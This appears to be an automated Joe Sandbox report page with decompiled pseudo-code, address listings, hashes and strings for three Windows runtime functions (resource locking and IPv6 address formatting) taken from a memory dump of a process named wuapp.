Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: 2a4fa77cd7d837edd43decadca660daddf9a53e0aaf82d92ceb2b8c5c8b3ee2c
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: FFA1AF71E0034ADADF29CF68D8497BEBBF4BF04708F24A46AE506A7281D7B09651CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01EE0554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E01EE0554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x01f801c0;
									_push(_t144);
									_push(0);
									_t51 = E01E9F8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = E01EE4FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									E01EF3F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									E01EF3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E01F2217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E01EF3F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									E01EE3915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x01f801c0;
												_push(_t138);
												_push(0);
												_t58 = E01E9F8CC( *((intOrPtr*)(_t96 + 0x20)));
												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = E01EE4FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												E01EF3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												E01EF3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E01F2217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												E01EF3F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												E01EE3915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E01EC5384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = E01E9F970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														E01EE3915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = E01E9F970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															E01EE3915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = E01E9F970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = E01EE3915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E01EC5329(_t110, _t138);
																_t69 = E01EC53A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x01ee055a
0x01ee055d
0x01ee0563
0x01ee0566
0x01ee05d8
0x01ee05e2
0x01ee05e5
0x00000000
0x01ee05e7
0x01ee05e7
0x01ee05ea
0x01ee05f3
0x01ee05f3
0x01ee0568
0x01ee0568
0x01ee0568
0x01ee0569
0x01ee0569
0x01ee0569
0x01ee056b
0x00000000
0x00000000
0x01f0217f
0x01f02183
0x01f0225b
0x01f0225f
0x01f02189
0x01f0218c
0x01f0218f
0x01f02194
0x01f02199
0x01f0219d
0x01f021a0
0x01f021a2
0x01f021ce
0x01f021ce
0x01f021ce
0x01f021d0
0x01f021d6
0x01f021de
0x01f021e2
0x01f021e8
0x01f021e9
0x01f021ec
0x01f021f1
0x01f021f6
0x00000000
0x00000000
0x01f021f8
0x01f021fb
0x01f02206
0x01f0220b
0x01f0220c
0x01f02217
0x01f02226
0x01f0222b
0x01f0222c
0x01f0222f
0x01f02232
0x01f02235
0x01f02235
0x01f0223a
0x01f0223f
0x01f02241
0x01f02243
0x01f02248
0x01f02248
0x01f0224d
0x01f0224f
0x01f02262
0x01f02263
0x01f02268
0x01f02269
0x01f02269
0x01f02269
0x01f0226d
0x00000000
0x00000000
0x01f02276
0x01f02279
0x01f0227e
0x01f02283
0x01f02287
0x01f0228a
0x01f0228d
0x01f0228f
0x01f022bc
0x01f022bc
0x01f022bc
0x01f022be
0x01f022c4
0x01f022cc
0x01f022d0
0x01f022d6
0x01f022d7
0x01f022da
0x01f022df
0x01f022e4
0x00000000
0x00000000
0x01f022e6
0x01f022e9
0x01f022f4
0x01f022f9
0x01f022fa
0x01f02305
0x01f02314
0x01f02319
0x01f0231a
0x01f0231d
0x01f02320
0x01f02323
0x01f02323
0x01f02328
0x01f0232d
0x01f0232f
0x01f02331
0x01f02336
0x01f02336
0x01f0233b
0x01f0233d
0x01f02350
0x01f02351
0x01f02356
0x01f02359
0x01f02359
0x01f0235b
0x01f0235d
0x01ec5367
0x01ec536b
0x01ec5372
0x00000000
0x00000000
0x00000000
0x00000000
0x01f02363
0x01f02363
0x01f02369
0x01f0236a
0x01f0236c
0x01f02371
0x01f02373
0x00000000
0x01f02379
0x01f02379
0x01f0237a
0x01f0237f
0x01f0237f
0x01f02385
0x01f02386
0x01f02389
0x01f0238e
0x01f02390
0x01ec5378
0x01ec537c
0x01f02396
0x01f02396
0x01f02397
0x01f0239c
0x01f023a2
0x01f023a3
0x01f023a6
0x01f023ab
0x01f023ad
0x00000000
0x01f023b3
0x01f023b3
0x01f023b4
0x01f023b9
0x01f023ba
0x01f023ba
0x01f023bc
0x01f023bf
0x00000000
0x00000000
0x01ef9153
0x01ef9158
0x01ef915a
0x01ef915e
0x01ef9160
0x00000000
0x01ef9166
0x01ef9166
0x01ef9171
0x01ef9176
0x01ef9176
0x00000000
0x01ef9160
0x01f023c6
0x01f023ce
0x01f023d7
0x01f023d7
0x01f023ad
0x01f02390
0x01f02373
0x01f0233f
0x01f0233f
0x00000000
0x01f0233f
0x01f02291
0x01f02291
0x01f02293
0x01f02295
0x01f0229a
0x01f022a1
0x01f022a3
0x01f022a7
0x01f022a9
0x00000000
0x00000000
0x01f022ab
0x01f022ad
0x01f022af
0x00000000
0x00000000
0x00000000
0x01f022af
0x01f022b1
0x01f022b4
0x01f022b4
0x01f022b6
0x01ec53be
0x01ec53be
0x01ec53be
0x01ec53c0
0x00000000
0x00000000
0x01ec53cb
0x01ec53ce
0x01ec53d0
0x01ec53d4
0x01ec53d6
0x00000000
0x01ec53d8
0x01ec53e3
0x01ec53ea
0x01ec53ea
0x00000000
0x01ec53d6
0x00000000
0x00000000
0x00000000
0x00000000
0x01f022b6
0x00000000
0x01f0228f
0x01f02349
0x01f0234d
0x01f02251
0x01f02251
0x00000000
0x01f02251
0x01f021a4
0x01f021a4
0x01f021a6
0x01f021a8
0x01f021ac
0x01f021b6
0x01f021b8
0x01f021bc
0x01f021be
0x00000000
0x00000000
0x01f021c0
0x01f021c2
0x01f021c4
0x00000000
0x00000000
0x00000000
0x01f021c4
0x01f021c6
0x01f021c6
0x01f021c8
0x00000000
0x00000000
0x00000000
0x00000000
0x01f021c8
0x01f021a2
0x00000000
0x01f02183
0x01ee057b
0x01ee057d
0x01ee0581
0x01ee0583
0x01f02178
0x00000000
0x01ee0589
0x01ee058f
0x01ee058f
0x01ee0583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01F02206

Strings

RTL: Re-Waiting, xrefs: 01F0223A, 01F02328
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01F022FC
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 01F0220E
RTL: Resource at %p, xrefs: 01F0221D, 01F0230B

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 5a57b996eb6ec08281a5615ab8b8e086c0141f02edd8191760e3815219816ab5
Instruction ID: 72ceabc3cc8628e4a72b636c4942a9702b677b7f92a2c18d924f0937e509de8f
Opcode Fuzzy Hash: 5a57b996eb6ec08281a5615ab8b8e086c0141f02edd8191760e3815219816ab5
Instruction Fuzzy Hash: 6E513D35B00252ABEB168A18DC85F9A73AAAF94710F255219FD44DF2C5EA72EC4187A0

Uniqueness

Uniqueness Score: -1.00%

Function 01EE14C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E01EE14C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0x1f82088; // 0x76a06099
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E01ED7707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E01EE13CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E01ED7707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E01ED7707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E01EA2340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E01EAE1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x01ee14c0
0x01ee14cb
0x01ee14d2
0x01ee14d6
0x01ee14da
0x01ee14de
0x01ee14e3
0x01ee157a
0x01ee157a
0x01ee14f1
0x01ee14f3
0x01f0ea0f
0x00000000
0x01f0ea15
0x00000000
0x01f0ea15
0x01ee14f9
0x01ee14f9
0x01ee14fe
0x01ee1504
0x01f0ea1a
0x01f0ea1f
0x01f0ea21
0x01f0ea22
0x01f0ea27
0x01f0ea2a
0x01f0ea2a
0x01ee1515
0x01ee1517
0x01ee156d
0x01ee1572
0x01ee1575
0x01ee1575
0x01ee151e
0x01f0ea50
0x01f0ea55
0x01f0ea58
0x01f0ea58
0x01ee152e
0x01ee1531
0x01ee1533
0x00000000
0x01ee1535
0x01ee1541
0x01ee1549
0x01ee1549
0x01ee1533
0x01ee14f3
0x01ee1559

APIs

___swprintf_l.LIBCMT ref: 01F0EA22

Part of subcall function 01EE13CB: ___swprintf_l.LIBCMT ref: 01EE146B
Part of subcall function 01EE13CB: ___swprintf_l.LIBCMT ref: 01EE1490

___swprintf_l.LIBCMT ref: 01EE156D

Strings

]:%u, xrefs: 01F0EA47
%%%u, xrefs: 01EE1564

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 23f76da30b52ccbbded2391d66a30b86086dabf7064085ca9bbd568aa2575023
Instruction ID: a18e46862f3fb1aee418cafdf6e85913b4423de2135273b97109b8718fc74d94
Opcode Fuzzy Hash: 23f76da30b52ccbbded2391d66a30b86086dabf7064085ca9bbd568aa2575023
Instruction Fuzzy Hash: 9221F572D0021A9BCB21DF58CC04AEE77FCBB14304F885455FD46E7141DB70AA988BE0

Uniqueness

Uniqueness Score: -1.00%

Function 01EC53A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E01EC53A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x01f801c0;
									_push(_t92);
									_push(0);
									_t37 = E01E9F8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = E01EE4FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
									E01EF3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									E01EF3F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E01F2217A(_t71, __eflags, _t64);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E01EF3F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									E01EE3915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E01EC5384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = E01E9F970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											E01EE3915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = E01E9F970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												E01EE3915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = E01E9F970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = E01EE3915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E01EC5329(_t74, _t92);
													_push(1);
													_t48 = E01EC53A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x01ec53ab
0x01ec53ae
0x01ec53b1
0x01ec53b4
0x01ec53b7
0x01ee05b6
0x01ee05c0
0x01ee05c3
0x00000000
0x01ee05c9
0x01ee05c9
0x01ee05cc
0x01ee05d5
0x01ee05d5
0x01ec53bd
0x01ec53bd
0x01ec53bd
0x01ec53be
0x01ec53be
0x01ec53be
0x01ec53c0
0x00000000
0x00000000
0x01f02269
0x01f0226d
0x01f02349
0x01f0234d
0x01f02273
0x01f02276
0x01f02279
0x01f0227e
0x01f02283
0x01f02287
0x01f0228a
0x01f0228d
0x01f0228f
0x01f022bc
0x01f022bc
0x01f022bc
0x01f022be
0x01f022c4
0x01f022cc
0x01f022d0
0x01f022d6
0x01f022d7
0x01f022da
0x01f022df
0x01f022e4
0x00000000
0x00000000
0x01f022e6
0x01f022e9
0x01f022f4
0x01f022f9
0x01f022fa
0x01f02305
0x01f02314
0x01f02319
0x01f0231a
0x01f0231d
0x01f02320
0x01f02323
0x01f02323
0x01f02328
0x01f0232d
0x01f0232f
0x01f02331
0x01f02336
0x01f02336
0x01f0233b
0x01f0233d
0x01f02350
0x01f02351
0x01f02356
0x01f02359
0x01f02359
0x01f0235b
0x01f0235d
0x01ec5367
0x01ec536b
0x01ec5372
0x00000000
0x00000000
0x00000000
0x00000000
0x01f02363
0x01f02363
0x01f02369
0x01f0236a
0x01f0236c
0x01f02371
0x01f02373
0x00000000
0x01f02379
0x01f02379
0x01f0237a
0x01f0237f
0x01f0237f
0x01f02385
0x01f02386
0x01f02389
0x01f0238e
0x01f02390
0x01ec5378
0x01ec537c
0x01f02396
0x01f02396
0x01f02397
0x01f0239c
0x01f023a2
0x01f023a3
0x01f023a6
0x01f023ab
0x01f023ad
0x00000000
0x01f023b3
0x01f023b3
0x01f023b4
0x01f023b9
0x01f023ba
0x01f023ba
0x01f023bc
0x01f023bf
0x00000000
0x00000000
0x01ef9153
0x01ef9158
0x01ef915a
0x01ef915e
0x01ef9160
0x00000000
0x01ef9166
0x01ef9166
0x01ef9171
0x01ef9176
0x01ef9176
0x00000000
0x01ef9160
0x01f023c6
0x01f023cb
0x01f023ce
0x01f023d7
0x01f023d7
0x01f023ad
0x01f02390
0x01f02373
0x01f0233f
0x01f0233f
0x00000000
0x01f0233f
0x01f02291
0x01f02291
0x01f02293
0x01f02295
0x01f0229a
0x01f022a1
0x01f022a3
0x01f022a7
0x01f022a9
0x00000000
0x00000000
0x01f022ab
0x01f022ad
0x01f022af
0x00000000
0x00000000
0x00000000
0x01f022af
0x01f022b1
0x01f022b4
0x01f022b4
0x01f022b6
0x00000000
0x00000000
0x00000000
0x00000000
0x01f022b6
0x01f0228f
0x00000000
0x01f0226d
0x01ec53cb
0x01ec53ce
0x01ec53d0
0x01ec53d4
0x01ec53d6
0x00000000
0x01ec53d8
0x01ec53e3
0x01ec53ea
0x01ec53ea
0x01ec53d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01F022F4

Strings

RTL: Re-Waiting, xrefs: 01F02328
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01F022FC
RTL: Resource at %p, xrefs: 01F0230B

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
